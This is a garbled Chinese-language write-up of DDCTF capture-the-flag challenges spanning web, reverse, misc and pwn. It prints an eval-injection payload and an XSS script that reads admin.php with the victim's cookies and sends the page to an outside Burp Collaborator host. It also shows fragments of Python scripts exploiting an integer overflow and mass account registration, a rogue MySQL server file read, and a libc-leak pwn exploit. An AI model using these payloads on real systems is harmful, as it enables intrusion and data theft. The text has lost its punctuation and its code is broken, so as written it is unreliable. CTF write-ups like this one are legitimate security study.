。

这是恶意引流吧#xff0c;服了。

在出题人博客里面找到.practice.txt.swp#xff0c;然鹅.practice.txt.swp404了,而…WEB

进去之后就看到url一串base64解两次是flag.jpg明显文件读取读一下index.php发现居然给了博客。

这是恶意引流吧服了。

在出题人博客里面找到.practice.txt.swp然鹅.practice.txt.swp404了,而practice.txt.swp却能访问佛了。

内容是f1ag!ddctf.php,然后在index.php的源码里面发现他将config替换为了感叹号再读取f1agconfigddctf.php源码,一个变量覆盖的原题拿到flag。

不得不吐槽一下这种题目拿出来放ddctf真的降低自己品牌力了。

WEB

加个头进去看源码然后发现有sprintf可以格式化字符串漏洞拿到key就可以进行反序列化了先访问一下session.php再拿到sessionid和ip就可以反序列化了。

利用链毫无逻辑…

Upload-IMG

测了半天是gd二次渲染没新意。

上传图片-》下载图片-》加入payload-》再上传弹flag。

参考文章https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg

place

5的话flag就在session里面。

关键是如何去绕过数量的问题根据题目名字的话应该是调用自己循环来绕过数量就ok。

发现确实存在一个逻辑漏洞。

根据题目名字的话应该是要循环调用自己去买宝石然后就可以拿flag。

def

urllib.unquote(request.query_string)

request.event_queue

querystring.startswith(action:))

len(querystring)

这是程序的入口处先调用了trigger_event将要执行的函数传进队列但是也只能执行一次如果将自己传入队列的话就可以调用多个函数了。

is_action

这里有一个任意函数调用。

action传入之后会有一个后缀拼接但是可以直接用#绕过因为是eval执行的eval会把这个字符串当作python代码执行所以后缀就绕过了。

所以可以action,trigger_event#;来调用自己绕过后缀拼接。

从而执行多个函数

payload:?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

欢迎报名DDCTF

这题也是真的佛入口都想了半天扫目录扫到一个login.php的游客登陆无论输入什么都是waf在报名处测了半天注入发现content没有长度限制。

一直在看那个返回的1和-1.佛。

后来测了一下xss打远程发现可以收到信息img

srcip:port在refer里面看到admin.php,挺奇怪的不知道为什么没有扫到。

然后直接xss访问admin.php发现收不到请求这里卡了半天。

后来又发现可以加载外部js直接绕过了。

var

XMLHttpRequest();xhr.onreadystatechange

function()

XMLHttpRequest();xhr2.open(POST,

http://XXXX.burpcollaborator.net/);xhr2.send(xhr.responseText);}}

xhr.open(GET,

http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php);xhr.withCredentials

true;xhr.send();然后script标签加载执行即可然后收到了一个接口地址再用js去访问了一下发现和直接访问是没差别的。

直接测注入怎么都是没回显。

后来放了提示还是注入就想起来测宽字节发现真尼玛是宽字节好坑…然后直接union就能拿flag。

大吉大利,今晚吃鸡~

这题一堆bug测到输入一个大数会四舍五入进位非常蠢我现在都不知道这个bug要干嘛。

然后可以任意用户登陆注册那里如果输入了已经注册的用户名会返回那个用户的cookie直接拿cookie就能登陆了不知道和题目有什么关系。

最后fuzz到输入2**321在支付时比较溢出为0可以买票进入游戏。

进去之后发现要输入id和ticket才能踢人。

试着踢了一下自己发现gg。

那么思路就很清晰了写脚本自动踢人。

本来以为很快的。

结果跑到半夜三点多才吃鸡。

太真实了人数越少的时候越激烈越难吃鸡。

头秃。

#!/usr/bin/env

removerobots(id,ticket):url117.51.147.155:5050/ctf/api/remove_robot?id%sticket%s

:Mozilla/5.0

yulige;REVEL_SESSION000571815de5a0c31c3fae2fef2be4c7}arequests.get(urlurl,headersheaders)if

200

range(100):urlhttp://117.51.147.155:5050/ctf/api/register?nameasdasdasdasdasdsadasd%spasswordlike01like

str(i)headers

0.9}arequests.get(urlurl,headersheaders)print

a.textif

cookieid,ticketbuyandpayticket(cookie)removerobots(id,ticket)def

login(i):url

http://117.51.147.155:5050/ctf/api/login?name%spasswordlike01like

str(i)headers

http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price4294967296a

requests.get(url,

http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id%s

bill_idb

需要改的配置是Process_name写mysqld端口写3306

网上有直接现成的脚本能用https://github.com/allyshka/Rogue-MySql-Server

在agent.py部署好之后在题目环境写ip和端口开始扫描即建立连接。

然后跑rogue的脚本就可以任意文件读取了读了一些敏感文件发现在/.mysql_history里面有flag。

REVERSE

upx脱壳机脱壳后发现代码逻辑在0x401000处是加密函数看了一下是一个单表替换这里采用带壳调试的方法断点下在0x401000处输入后程序断下dump内存拿到表直接逆运算。

Windows

asp脱壳后对代码逆向发现将输入b16decode后进入一个很明显的base64encode。

其中对表加密了但是转存后其实就是原生b64最后和字符串reverse进行比较所以直接对reverse

b64dec后hex编码就好

打log发现vm在实现一个rot2,直接将待比较的值取出进行rot2运算即可

opcode

拿到的是bmp图片然后用stegsolve跑一遍发现在rgb通道有信息。

提示说是aescbc但是没有key。

在图片里面各种脑洞大开的隐写都试过了不行。

提示好像全是为了key…足以说明多难找了他说要看本身那key就在图像表面了为此我还找了网上最新的地铁图来对比然而变化有点大这张图不知道是什么时候的图了。

没思路脑洞尝试密钥为beijingditie\x00\x00\x00\x00然而并不对。

人肉fuzz发现魏公村这个地铁站特别标蓝了再三确认是人为标蓝的同时也发现角门东是白色。

尝试weigongcun\x00\x00\x00\x00\x00\x00解一下就出flag了。

MulTzor

脑洞题做了很多尝试之后开始爆破异或密钥长度。

用xortool跑出来两个key

用第一个\x18\x8d\xea\x959然后异或就出了flag。

[PWN]

https://www.pwndiary.com/write-ups/hxp-ctf-2017-babyish-write-up-pwn100/

发现sub_80485DB这个函数里面可以写0x40字节。

可以用printf

leak、ebp和libcbase

然后存在一个整形溢出输入-1就可以写无限长度。

最后溢出ret然后用leak的libcbase算出system

from

ELF(/lib/i386-linux-gnu/libc-2.27.so)

0x40)

log.success(libcbase:0x%x%lbase)

sys

可以看到先是用在线网址进行加密然后有两张图片以及两张图片的图床地址。

将两张图片导出。

一张是美女的图片比较大另外是一张图片的图片可以在winhex里面看到有p图软件处理的痕迹就尝试一下改高度发现了key。

而在线网址的解密是需要key的用在线网址将美女图解密拿到的字符串再转ascii得

联盟决策大会

题目里面提示了是Shamir搜了一下发现是https://blog.mythsman.com/2015/10/07/2/

文章里面说由矩阵乘法或者Lagrange插值法均可求的a0即为明文s

https://blog.mythsman.com/2015/10/07/2/

直接拿里面的脚本来用。

求三次拉格朗日。

124一次345一次两个合起来一次。

就出了flag。